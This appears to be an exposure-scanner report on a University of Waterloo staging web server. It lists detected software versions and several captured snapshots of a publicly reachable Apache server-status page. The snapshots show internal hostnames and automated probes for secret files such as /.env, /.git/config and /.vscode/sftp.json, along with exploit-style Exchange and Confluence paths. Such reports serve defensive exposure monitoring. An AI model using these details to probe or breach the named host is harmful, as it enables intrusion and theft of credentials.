Apache 2.4.58
tcp/443 tcp/80
Apache 2.4.37
tcp/443 tcp/80
Apache 2.4.63
tcp/443 tcp/80
Apache 2.4.65
tcp/443 tcp/80
Apache 2.4.46
tcp/443 tcp/80
Apache 2.4.66
tcp/443 tcp/80
Apache 2.4.29
tcp/443 tcp/80
Apache 2.4.52
tcp/443 tcp/80
Apache
tcp/443 tcp/80
BaseHTTP 0.6
tcp/443
BigIP
tcp/80
Caddy
tcp/443 tcp/80
CloudFront
tcp/443 tcp/80
GitHub.com
tcp/443
Microsoft-IIS 10.0
tcp/443 tcp/80
OpenSSL 1.1.1k
tcp/443 tcp/80
OpenSSL 3.0.16
tcp/443 tcp/80
OpenSSL 3.0.15
tcp/443 tcp/80
OpenSSL 1.1.1h-freebsd
tcp/443 tcp/80
PHP 8.2.29
tcp/443 tcp/80
PHP 7.4.13
tcp/443 tcp/80
Perl v5.36.3
tcp/443 tcp/80
Python 3.12.3
tcp/443
Rocket
tcp/443
TornadoServer 6.4
tcp/443
Varnish
tcp/80
gunicorn
tcp/443
lighttpd 1.4.82
tcp/443 tcp/80
mod_fcgid 2.3.9
tcp/443 tcp/80
mod_perl 2.0.13
tcp/443 tcp/80
nginx 1.10.3
tcp/443 tcp/80
nginx 1.28.1
tcp/443
nginx 1.28.0
tcp/443 tcp/80
nginx
tcp/443 tcp/80
nginx 1.24.0
tcp/443 tcp/80
nginx 1.18.0
tcp/443 tcp/80
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68fa292289
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Apr 14 2023 12:05:40 Current Time: Tuesday, 26-Sep-2023 08:17:36 EDT Restart Time: Wednesday, 23-Aug-2023 13:49:28 EDT Parent Server Config. Generation: 40 Parent Server MPM Generation: 39 Server uptime: 33 days 18 hours 28 minutes 8 seconds Server load: 0.09 0.11 0.10 Total accesses: 927302 - Total Traffic: 4.0 GB CPU Usage: u2144.54 s308.94 cu0 cs0 - .0841% CPU load .318 requests/sec - 1472 B/second - 4633 B/request 4 requests currently being processed, 5 idle workers _WKK___....._..W................................................ ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-39326130/152/84036_ 1.95800.00.40355.93 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 1-3913076/242/78709W 19.400068.63.55341.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 2-39326056/159/72189K 3.16046468.40.48307.33 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /404.html HTTP/1.1 3-39154812/163/75729K 4.050454104.40.54313.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /404.html HTTP/1.1 4-39187770/0/75714_ 137.44200.00.00325.40 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 5-39187840/0/64986_ 256.54100.00.00269.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 6-39326260/152/55528_ 2.87900.00.44234.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 7-38-0/0/62143. 234.041187500.00.00259.92 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 8-38-0/0/54237. 49.151222500.00.00223.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 9-38-0/0/50877. 107.421187400.00.00214.92 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 10-38-0/0/55786. 241.94665600.00.00239.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 11-38-0/0/36336. 119.501175400.00.00171.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 12-39326040/244/34452_ 17.78400.03.61173.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 13-38-0/0/25630. 274.201187800.00.00128.53 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 14-38-0/0/18109. 222.541181800.00.00101.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 15-39326076/159/15916W 3.590068.40.4987.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 16-38-0/0/13510. 109.681182500.00.0082.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 17-38-0/0/11785. 90.23509900.00.0063.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 18-38-0/0/8206. 79.86509900.00.0043.64 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 19-38-0/0/9974. 68.50509900.00.0047.25 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 20-38-0/0/8624. 72.67509900.00.0035.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 21-38-0/0/3296. 185.051240700.00.0018.51 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 22-38-0/0/5539. 118.981337100.00.0025.69 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 23-38-0/0/2834. 0.006755000.00.0018.12 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 24-38-0/0/314. 14.265745900.00.001.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 25-38-0/0/580. 3.906295700.00.002.14 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 26-38-0/0/898. 8.035747000.00.004.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 27-31-0/0/26. 0.0058592500.00.000.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 28-31-0/0/26. 0.0058590100.00.000.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 29-31-0/0/50. 0.5358524200.00.000.33 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 30-31-0/0/914. 0.0058589500.00.003.58 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 31-31-0/0/23. 0.0158588700.00.000.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 32-31-0/0/59. 0.9158352700.00.000.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 33-31-0/0/259. 5.3057496500.00.001.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 34-31-0/0/1. 0.0058592400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 35-31-0/0/1. 0.0058592300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 36-31-0/0/1. 0.0058592200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 37-31-0/0/1. 0.0058592100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 38-31-0/0/2. 0.0058590200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 39-31-0/0/1. 0.0058592000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 40-31-0/0/1. 0.0058591900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68954bcb1b
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Apr 14 2023 12:05:40 Current Time: Friday, 28-Jul-2023 09:09:39 EDT Restart Time: Thursday, 20-Jul-2023 11:29:29 EDT Parent Server Config. Generation: 11 Parent Server MPM Generation: 10 Server uptime: 7 days 21 hours 40 minutes 9 seconds Server load: 0.08 0.07 0.13 Total accesses: 202573 - Total Traffic: 799.4 MB CPU Usage: u319.64 s131.12 cu0 cs0 - .066% CPU load .297 requests/sec - 1227 B/second - 4137 B/request 3 requests currently being processed, 6 idle workers WW__W___.._..................................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-10141260/330/19155W 29.23000.04.4084.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 1-10141317/238/18906W 6.080071.80.6975.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 2-10154440/231/20153_ 7.16600.00.6590.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 3-10141070/231/19469_ 4.04100.00.6080.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 4-101550510/235/18445W 6.110089.90.6884.31 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-10115850/64/20695_ 1.272600.00.2072.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 6-10115970/65/16948_ 1.881100.00.1856.47 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 7-10140970/237/21580_ 7.712100.00.7189.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 8-9-0/0/11607. 127.61821900.00.0039.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 9-7-0/0/4495. 14.7714421000.00.0012.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 10-10140980/312/21443_ 25.711600.03.1581.41 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 11-7-0/0/2338. 12.2414421000.00.0010.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 12-0-0/0/1483. 43.3461303200.00.004.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 13-0-0/0/1457. 42.1261303200.00.004.63 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 14-0-0/0/1464. 41.1161303200.00.004.67 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 15-0-0/0/1467. 40.7861303200.00.004.55 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 16-0-0/0/2. 0.0068148000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 17-0-0/0/1. 0.0068148700.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 18-0-0/0/1. 0.0068148600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 19-0-0/0/1. 0.0068148500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 20-0-0/0/1. 0.0068148400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 21-0-0/0/1459. 39.6061303200.00.004.37 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 22-0-0/0/1. 0.0068148300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 23-0-0/0/1. 0.0068148200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 24-0-0/0/1. 0.0068148100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080OPTIONS * HTTP/1.0 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e6826de55cb
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Thursday, 30-Mar-2023 10:59:35 EDT Restart Time: Tuesday, 07-Mar-2023 09:30:05 EST Parent Server Config. Generation: 29 Parent Server MPM Generation: 28 Server uptime: 23 days 29 minutes 29 seconds Server load: 0.14 0.19 0.20 Total accesses: 630462 - Total Traffic: 3.4 GB CPU Usage: u46.42 s35.89 cu0 cs0 - .00414% CPU load .317 requests/sec - 1825 B/second - 5.6 kB/request 31 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKKKKKKKKKKWKKWWSS............................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-28268662/2/55051K 0.103737.70.01298.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 1-28268872/2/49447K 0.41235122.90.02262.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 2-28268881/1/45234K 0.22241311.60.01252.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e26363e2130313e2135313/_/;/META-INF/maven/com.atla 3-2830203/122/48908K 1.413010.10.90263.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 4-28327552/292/47989K 4.60341023.01.87249.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 5-28295472/153/48259K 2.41340623.21.09252.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 6-2830291/118/37489K 1.53345811.60.83223.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-2830303/124/33121K 2.86235534.40.73210.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 8-28269022/2/40485K 0.42137722.90.02225.36 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 9-28269032/2/28775K 0.41135922.90.02183.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 10-28269092/2/29929K 0.41136523.00.02162.12 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 11-2830433/122/29561K 1.443010.10.59154.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 12-2830443/123/32253K 1.683010.00.64165.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 13-2830503/122/15683K 1.133010.10.6597.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-28269151/1/22406K 0.002024.80.0299.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 15-2830562/122/16342K 1.50340322.90.94120.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 16-28144133/457/16629K 13.2836953.04.0783.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 17-28269291/1/8477K 0.23053211.60.0141.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2033313e2130313e2135313/_/;/META-INF/maven/com.at 18-28269301/1/1654K 0.22050311.40.019.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 19-28269401/1/2677K 0.22054211.60.0114.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 20-28269421/1/2127K 0.22053811.50.0112.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-28269491/1/3399K 0.23053911.50.0116.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 22-28269541/1/5628K 0.23051411.40.0125.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 23-28269601/1/3074K 0.22051011.50.0111.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 24-28269621/1/2641K 0.00103.50.0014.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 25-28269791/1/25K 0.00003.30.000.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 26-28269800/0/5W 0.00000.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 27-28269881/1/6K 0.00003.30.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 28-28269941/1/3K 0.00003.30.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 29-28269990/0/3W 0.01000.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 30-28270050/0/2W 0.01000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 31-13270110/0/2S 0.01106926300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-1300/0/2S 0.01106926100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-13-0/0/2. 0.01106925800.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-13-0/0/2. 0.00106926400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-13-0/0/2. 0.01106926200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-13-0/0/2. 0.01106925600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-13-0/0/2. 0.00106925700.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-13-0/0/232. 3.39105832800.00.000.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-13-0/0/2. 0.00106925500.00.000.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-14-0/0/1761. 26.3799530800.00.007.64 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-13-0/0/2. 0.01106924900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-13-0/0/383. 5.42105159400.00.001.39 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 43-13-0/0/2. 0.01106925000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-13-0/0/2. 0.01106924600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-13-0/0/2. 0.01106924800.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-13-0/0/3. 0.01106924700.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-13-0/0/1. 0.00106930700.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-13-0/0/1. 0.00106930600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-13-0/0/373. 5.90105159400.00.000.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 50-13-0/0/1. 0.00106930500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-13-0/0/377. 5.70105159400.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 52-13-
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68962d221e
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Thursday, 30-Mar-2023 10:59:31 EDT Restart Time: Tuesday, 07-Mar-2023 09:30:05 EST Parent Server Config. Generation: 29 Parent Server MPM Generation: 28 Server uptime: 23 days 29 minutes 25 seconds Server load: 0.07 0.18 0.20 Total accesses: 630422 - Total Traffic: 3.4 GB CPU Usage: u45.3 s40.89 cu0 cs0 - .00433% CPU load .317 requests/sec - 1825 B/second - 5.6 kB/request 10 requests currently being processed, 1 idle workers _..KWWWW...KKK.WW............................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process <SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-28268660/0/55049_ 0.00000.00.00298.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 1-28-0/0/49445. 0.00181700.00.00262.19 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 2-28-0/0/45233. 0.00181600.00.00252.76 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 3-2830202/121/48907K 1.41006.70.89263.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 4-28327550/290/47987W 4.17000.01.85249.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 5-28295470/151/48257W 1.99000.01.07252.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 6-2830290/117/37488W 1.32000.00.82223.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-2830300/121/33118W 2.24000.00.69210.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 8-28-0/0/40483. 2.74436900.00.00225.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-28-0/0/28773. 1.15436800.00.00183.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 10-28-0/0/29927. 2.97436700.00.00162.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 11-2830432/121/29560K 1.44006.70.58154.80 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 12-2830441/121/32251K 1.68003.30.63165.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 13-2830502/121/15682K 1.13006.70.6497.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-28-0/0/22405. 0.94437000.00.0099.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-2830560/120/16340W 1.07000.00.92120.84 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 16-28144131/455/16627W 13.250024.64.0483.85 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 17-27-0/0/8476. 0.006328700.00.0041.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-27-0/0/1653. 0.006328600.00.009.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-27-0/0/2676. 0.006328300.00.0013.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-26-0/0/2126. 0.0117363600.00.0012.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 21-26-0/0/3398. 0.0017364300.00.0016.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-26-0/0/5627. 0.0017364700.00.0025.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-26-0/0/3073. 0.2717240600.00.0011.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-26-0/0/2640. 1.4716956000.00.0014.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-26-0/0/24. 0.0017364600.00.000.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-19-0/0/5. 0.0069265400.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-19-0/0/5. 0.0069265300.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-13-0/0/2. 0.01106925000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-13-0/0/3. 0.01106924800.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-13-0/0/2. 0.01106926200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-13-0/0/2. 0.01106926000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-13-0/0/2. 0.01106925800.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-13-0/0/2. 0.01106925400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-13-0/0/2. 0.00106926100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-13-0/0/2. 0.01106925900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-13-0/0/2. 0.01106925200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-13-0/0/2. 0.00106925300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-13-0/0/232. 3.39105832400.00.000.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 